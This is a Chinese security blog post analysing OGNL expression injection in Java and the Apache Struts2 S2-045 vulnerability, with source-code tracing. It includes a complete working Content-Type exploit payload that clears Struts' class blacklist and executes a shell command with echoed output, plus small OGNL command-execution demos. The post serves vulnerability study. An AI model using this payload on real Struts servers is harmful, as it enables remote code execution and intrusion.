此文为原创文章
作者:p0desta@先知社区
恭喜作者获得
价值100元的天猫超市享淘卡一张
欢迎更多优质原创、翻译作者加入
ASRC文章奖励计划
欢迎多多投稿到先知社区
每天一篇优质技术好文
点滴积累促成质的飞跃
今天也要进步一点点呀
这篇文章将会学习java中的OGNL表达式注入,并分析实例s2-045,并且所有环境都会打包放到附件中,提供给有需要的朋友,本文如果有理解错误的地方,麻烦师傅们斧正。
从语言角度来说:它是一个功能强大的表达式语言,用来获取和设置 java 对象的属性 ,它旨在提供一个更高抽象度语法来对 java 对象图进行导航。另外,java 中很多可以做的事情,也可以使用 OGNL 来完成,例如:列表映射和选择。对于开发者来说,使用 OGNL,可以用简洁的语法来完成对 java 对象的导航。通常来说:通过一个“路径”来完成对象信息的导航,这个“路径”可以是到 java bean 的某个属性,或者集合中的某个索引的对象,等等,而不是直接使用 get 或者 set 方法来完成。
OGNL具有三要素: 表达式、ROOT对象、上下文环境
表达式: 显然,这肯定是其中最重要的部分,通过表达式来告诉OGNL需要执行什么操作。
ROOT对象: 也就是OGNL操作的的对象,也就是说这个表达式针对谁进行操作。
上下文环境: 有了前两个条件,OGNL就能进行执行了,但是表达式有需要执行一系列操作,所以会限定这些操作在一个环境下,这个环境就是上下文环境,这个环境是个MAP结构。
我们通过了解OGNL的基础语法可以知道OGNl可以对ROOT对象访问、对上下文对象访问、对静态变量访问、方法的调用、对数组和集合的访问、创建对象。
需要注意的点是:
当访问上下文环境的参数时,需要在表达式前面加上 #
访问静态变量或者调用静态方法,格式如@[class]@[field/method()]
构造任意对象:直接使用已知的对象的构造方法进行构造
看执行命令的方式:
package com.company; import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException; public class Main { public static void main(String[] args) throws OgnlException{ //创建一个Ognl上下文对象 OgnlContext context = new OgnlContext(); //@[类全名(包括包路径)]@[方法名|值名] Ognl.getValue("@java.lang.Runtime@getRuntime().exec('curl http://127.0.0.1:10000/')", context, context.getRoot()); } }
package com.company; import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException; import java.io.*; public class Main { public static void main(String[] args) throws OgnlException, Exception{ //创建一个Ognl上下文对象 OgnlContext context = new OgnlContext(); Ognl.setValue(Runtime.getRuntime().exec("curl http://127.0.0.1:10000/"), context,context.getRoot()); } }
我会把环境打包放到附件里,有需要的可以自行下载部署,我先说一下如何部署远程调试的环境,参考 https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral
的做法,制作了Dockerfile远程调试环境,
docker-compose up --build
把环境起来以后,然后使用IDEA将src目录下的环境用maven导入,IDEA配置如下
然后跑起来正常打断点调试
Poc:
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#memberAccess?(#memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}; boundary=---------------------------96954656263154098574003468
这个漏洞主要是因为在上传时使用 Jakarta
进行解析时,但是如果 content-type
错误的会进入异常,然后注入OGNL。
首先在 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/PrepareOperations.class
public HttpServletRequest wrapRequest(HttpServletRequest oldRequest) throws ServletException { HttpServletRequest request = oldRequest; try { request = this.dispatcher.wrapRequest(request); ServletActionContext.setRequest(request); return request; } catch (IOException var4) { throw new ServletException("Could not wrap servlet request with MultipartRequestWrapper!", var4); } }
这里会将http请求封装一个成一个对象
跟进函数,跟到 /org/apache/struts/struts2-core/2.5.10/struts2-core-2.5.10.jar!/org/apache/struts2/dispatcher/Dispatcher.class
public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException { if (request instanceof StrutsRequestWrapper) { return request; } else { String content_type = request.getContentType(); Object request; if (content_type != null && content_type.contains("multipart/form-data")) { MultiPartRequest mpr = this.getMultiPartRequest(); LocaleProvider provider = (LocaleProvider)this.getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, this.disableRequestAttributeValueStackLookup); } return (HttpServletRequest)request; } }
可以看到如果 content_type
不为 null
并且 content_type
中包含了 multipart/form-data
的话就进入条件
然后到
request = new MultiPartRequestWrapper(mpr, request, this.getSaveDir(), provider, this.disableRequestAttributeValueStackLookup);
会new一个对象,跟进
可以看到request对象进入了 this.multi.pars
,继续跟requests,到达 /org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.class
public void parse(HttpServletRequest request, String saveDir) throws IOException { LocalizedMessage errorMessage; try { this.setLocale(request); this.processUpload(request, saveDir);
首先request对象进入语言设置的方法,没有啥处理,继续跟进下一个 this.processUpload
然后可以跟到
FileItemIteratorImpl(RequestContext ctx) throws FileUploadException, IOException { if (ctx == null) { throw new NullPointerException("ctx parameter"); } else { String contentType = ctx.getContentType(); if (null != contentType && contentType.toLowerCase(Locale.ENGLISH).startsWith("multipart/")) { InputStream input = ctx.getInputStream(); int contentLengthInt = ctx.getContentLength(); long requestSize = UploadContext.class.isAssignableFrom(ctx.getClass()) ? ((UploadContext)ctx).contentLength() : (long)contentLengthInt; if (FileUploadBase.this.sizeMax >= 0L) { if (requestSize != -1L && requestSize > FileUploadBase.this.sizeMax) { throw new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", requestSize, FileUploadBase.this.sizeMax), requestSize, FileUploadBase.this.sizeMax); } input = new LimitedInputStream((InputStream)input, FileUploadBase.this.sizeMax) { protected void raiseError(long pSizeMax, long pCount) throws IOException { FileUploadException ex = new FileUploadBase.SizeLimitExceededException(String.format("the request was rejected because its size (%s) exceeds the configured maximum (%s)", pCount, pSizeMax), pCount, pSizeMax); throw new FileUploadBase.FileUploadIOException(ex); } }; }
可以看到这个判断会检测 contentType
是否以 multipart/
开头,显然不是,然后进入异常处理
throw new FileUploadBase.InvalidContentTypeException(String.format("the request doesn't contain a %s or %s stream, content type header is %s", "multipart/form-data", "multipart/mixed", contentType));
这里会将传进来的contentType拼接后继续传递
一直跟到
while(i$.hasNext()) { LocalizedMessage error = (LocalizedMessage)i$.next(); if (validation != null) { validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs())); } }
会进入到 /com/opensymphony/xwork2/util/LocalizedTextUtil.class
然后经过调用堆栈
继续跟可以跟到 /com/opensymphony/xwork2/util/TextParseUtil.class
public static String translateVariables(String expression, ValueStack stack) { return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, (TextParseUtil.ParsedValueEvaluator)null).toString(); }
跟到
String lookupChars = open + "{"; while(true) { int start = expression.indexOf(lookupChars, pos); if (start == -1) { ++loopCount; start = expression.indexOf(lookupChars); } if (loopCount > maxLoopCount) { break; } int length = expression.length(); int x = start + 2; int count = 1; while(start != -1 && x < length && count != 0) { char c = expression.charAt(x++); if (c == '{') { ++count; } else if (c == '}') { --count; } } int end = x - 1; if (start == -1 || end == -1 || count != 0) { break; } String var = expression.substring(start + 2, end);
简单理解下这段的意思就是将咱们被污染的payload进行处理,可以是 %{.*}
也可以是 ${.*}
这样的格式
后面就是作为ONGL表达式进行执行了。
知道了漏洞产生原因,肯定是想知道poc为什么这样构造呢,我来分析一下
%{ (#nike='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#memberAccess?(#memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='"whoami"').(#iswin=(@java.lang.System@getProperty('os.name'). toLowerCase(). contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}: {'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)). (#p.redirectErrorStream(true)). (#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush()) };
首先我们知道Struts2为了防御攻击,在 /struts2-core-2.5.10.jar!/struts-default.xml
中定义了黑名单
<constant name="struts.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, ognl.OgnlContext, ognl.ClassResolver, ognl.TypeConverter, ognl.MemberAccess, ognl.DefaultMemberAccess, com.opensymphony.xwork2.ognl.SecurityMemberAccess, com.opensymphony.xwork2.ActionContext" /> <!-- this is simpler version of the above used with string comparison --> <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" />
我们必须想办法bypass它,可以看到poc的操作是先定义了 DEFAULT_MEMBER_ACCESS
,然后赋值给 memberAccess
,
然后使用 GetInstance
实例化 OgnlUtil
,然后将里面的黑名单清除,然后利用setMemberAccess进行覆盖掉,进而绕过黑名单,这个poc是大牛构造的比较通用并且有回显的,我们来看看具体实现,
package com.company; import ognl.Ognl; import ognl.OgnlContext; import ognl.OgnlException; import java.io.*; import java.lang.NullPointerException; import com.opensymphony.xwork2.util.TextParseUtil; public class Main { public static void main(String[] args) throws OgnlException, Exception,NullPointerException{ //创建一个Ognl上下文对象 Object rootObject = new Object(); OgnlContext context = new OgnlContext(); TextParseUtil newparse = new TextParseUtil(); String exp = "(#nike='multipart/form-data').(#cmds={'open', '/Applications/Calculator.app'}).(#p=new java.lang.ProcessBuilder(#cmds)).(#process=#p.start())"; try{ Object expression = ognl.Ognl.parseExpression(exp); String value = Ognl.getValue(expression, context, rootObject).toString(); }catch (OgnlException e){ e.printStackTrace(); } } }
参考:
https://landgrey.me/struts2-045-debugging/ https://xz.aliyun.com/t/2712 https://x3fwy.bitcron.com/post/use-docker-to-analysis-vulnerability?utm_source=tuicool&utm_medium=referral https://www.cnblogs.com/renchunxiao/p/3423299.html
更
多
精
彩
公众号ID
阿里安全响应中心